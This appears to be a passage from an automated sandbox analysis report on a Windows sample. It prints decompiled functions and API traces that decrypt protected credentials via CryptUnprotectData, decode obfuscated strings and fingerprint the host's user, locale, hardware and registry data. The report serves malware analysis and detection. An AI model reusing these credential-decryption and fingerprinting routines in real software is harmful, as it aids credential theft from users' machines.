lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006379F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0063956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00637A3B
CryptStringToBinaryA.CRYPT32(0063956D,00000000), ref: 00637A46
lstrcat.KERNEL32(?,0041401A), ref: 00637B09
lstrcat.KERNEL32(?,0041401A), ref: 00637B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 00637B3E

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: db16674b0f69957e743e165369c73bc6aa6ad2a8daca2396ad4073febe7aadf0
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: F2415CB490421A9FCB20DF94CD89BFEF7B9AF48704F1085A9E605A7280C7749A94CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00872348), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 00634A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00634ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00634AF6

Strings

UNK, xrefs: 00634B0A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: 97384cefea98a8b62723574f67eacfcb618484f8c4b09ba6024094c299fc9c1d
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: E10180F2A40208BBE710EA90CC46FDA736CAB08704F104158B705AA1C1EBF0FB448BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00637760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00637784
LocalAlloc.KERNEL32(00000040,00000000), ref: 006377A3
LocalFree.KERNEL32(?), ref: 006377CF

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 0ac6afea159bff833ed66da22b1c655e662fd454a73ff67633a57aba50469e3b
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 3C11A8B8A01209DFCB04DF94C988AAE77B5FF89300F108558F91597390D730AE51CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00636CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00636CF6
Sleep.KERNEL32(00002710), ref: 00636D04
GetTickCount.KERNEL32 ref: 00636D0A

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: e5288b5d387632798118f44b93270da2976023e49edfa07388ed65f821bad3b3
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: 51E0EC35A49109EFD700AFB8ED0D4ACBFB4EF04342F20C9B6AC0697250EA7449659B97

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006373E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 0063B8F0: GetProcessHeap.KERNEL32(00000008,b6d,?,0063B7ED,b6d,00000009,?,00643662,00000009), ref: 0063B8F9
Part of subcall function 0063B8F0: RtlAllocateHeap.NTDLL(00000000,?,0063B7ED), ref: 0063B900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 00637433

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: fbb8a829c4f428407bbdbe79209845f6ba6f76bfb9e200d7c7e47066d2cd5200
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: BF113AB5D04209DFCF00CFA9D881AAEBBB5AF48300F148159EA15AB301D734AA41DBD5

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 96.3, APIs: 64, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,00860420), ref: 00405705
lstrcat.KERNEL32(?,0085F5E0), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,008730E8), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,008758D8), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00875C18), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(00875CC0,00875CC0), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(00875D80,00875D80), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(008755F8,008755F8), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(00875798,00875798), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(00875E28,00875E28), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(00875D50,00875D50), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.ADVAPI32(80000002,008728E8,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.ADVAPI32(?,00878B18,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(00875C90,00875C90), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(008730F8,008730F8), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.ADVAPI32(80000002,0087A410,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.ADVAPI32(?,008793C8,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(008735D0,008735D0), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(008735E0,008735E0), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(00875DF8,00875DF8), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(00875738,00875738), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(00875BB8,00875BB8), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(00875CA8,00875CA8), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(00875BD0,00875BD0), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(00875C30,00875C30), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.ADVAPI32(80000002,00876FC0,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.ADVAPI32(?,00879410,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(008735F0,008735F0), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(008756F8,008756F8), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.ADVAPI32(80000002,00875F48,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 1685704716-0
Opcode ID: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: e218a5e356af2615d6aaa017568bf9cb7d31594a9bde99fdcaaeb157979fca9f
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00635930, Relevance: 96.3, APIs: 64, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0063593B
RtlAllocateHeap.NTDLL(00000000), ref: 00635942
lstrcat.KERNEL32(?,0041A6E4), ref: 00635955
lstrcat.KERNEL32(?,0041A22C), ref: 00635966
lstrcat.KERNEL32(?,00418BC0), ref: 00635975
lstrcat.KERNEL32(?,0041A6C4), ref: 00635986
lstrcat.KERNEL32(?,00418BC4), ref: 00635995
lstrcat.KERNEL32(?,0041A544), ref: 006359A6
lstrcat.KERNEL32(?,00418BC0), ref: 006359B5
lstrcat.KERNEL32(?,0041A79C), ref: 006359C6
GetCurrentProcessId.KERNEL32 ref: 006359CC

Part of subcall function 0063BBA0: OpenProcess.KERNEL32(00000410,00000000,?), ref: 0063BBB4
Part of subcall function 0063BBA0: GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 0063BBD5
Part of subcall function 0063BBA0: CloseHandle.KERNEL32(00000000), ref: 0063BBDF

lstrcat.KERNEL32(?,00000000), ref: 006359E0
lstrcat.KERNEL32(?,00418BC0), ref: 006359EF
lstrcat.KERNEL32(?,0041A55C), ref: 006359FF

Part of subcall function 0063AF30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00635A0A), ref: 0063AF3D
Part of subcall function 0063AF30: RtlAllocateHeap.NTDLL(00000000), ref: 0063AF44
Part of subcall function 0063AF30: GetLocalTime.KERNEL32(?,?,?,?,?,00635A0A), ref: 0063AF51
Part of subcall function 0063AF30: wsprintfA.USER32 ref: 0063AF7E

lstrcat.KERNEL32(?,00000000), ref: 00635A0F
lstrcat.KERNEL32(?,00418BC4), ref: 00635A1E
lstrcat.KERNEL32(?,0041A044), ref: 00635A2F

Part of subcall function 0063AF90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063AFA0
Part of subcall function 0063AF90: RtlAllocateHeap.NTDLL(00000000), ref: 0063AFA7
Part of subcall function 0063AF90: GetTimeZoneInformation.KERNEL32(?), ref: 0063AFBA

lstrcat.KERNEL32(?,00000000), ref: 00635A3F
lstrcat.KERNEL32(?,00418BC0), ref: 00635A4E
lstrcat.KERNEL32(?,0041A0FC), ref: 00635A5F

Part of subcall function 0063B010: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0063B022

lstrcat.KERNEL32(?,00000000), ref: 00635A6F
lstrcat.KERNEL32(?,00418BC4), ref: 00635A7E
lstrcat.KERNEL32(?,0041A040), ref: 00635A8E

Part of subcall function 0063B050: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0063B060
Part of subcall function 0063B050: RtlAllocateHeap.NTDLL(00000000), ref: 0063B067
Part of subcall function 0063B050: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0063B088
Part of subcall function 0063B050: LocalAlloc.KERNEL32(00000040,?), ref: 0063B0A0
Part of subcall function 0063B050: GetKeyboardLayoutList.USER32(?,00000000), ref: 0063B0B4
Part of subcall function 0063B050: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0063B109
Part of subcall function 0063B050: wsprintfA.USER32 ref: 0063B132
Part of subcall function 0063B050: wsprintfA.USER32 ref: 0063B150
Part of subcall function 0063B050: memset.NTDLL ref: 0063B176
Part of subcall function 0063B050: LocalFree.KERNEL32(00000000), ref: 0063B18B

lstrcat.KERNEL32(?,00000000), ref: 00635A9E
lstrcat.KERNEL32(?,00418BC0), ref: 00635AAD
lstrcat.KERNEL32(?,0041A500), ref: 00635ABE

Part of subcall function 0063B1A0: GetSystemPowerStatus.KERNEL32(?), ref: 0063B1AA

lstrcat.KERNEL32(?,00000000), ref: 00635ACE
lstrcat.KERNEL32(?,00418BC4), ref: 00635ADD
lstrcat.KERNEL32(?,0041A164), ref: 00635AEE

Part of subcall function 0063B1D0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B1E4
Part of subcall function 0063B1D0: RtlAllocateHeap.NTDLL(00000000), ref: 0063B1EB
Part of subcall function 0063B1D0: RegOpenKeyExA.ADVAPI32(80000002,0041A1A0,00000000,00020119,00635AF9), ref: 0063B20B
Part of subcall function 0063B1D0: RegQueryValueExA.ADVAPI32(00635AF9,0041A5E4,00000000,00000000,?,000000FF), ref: 0063B22C
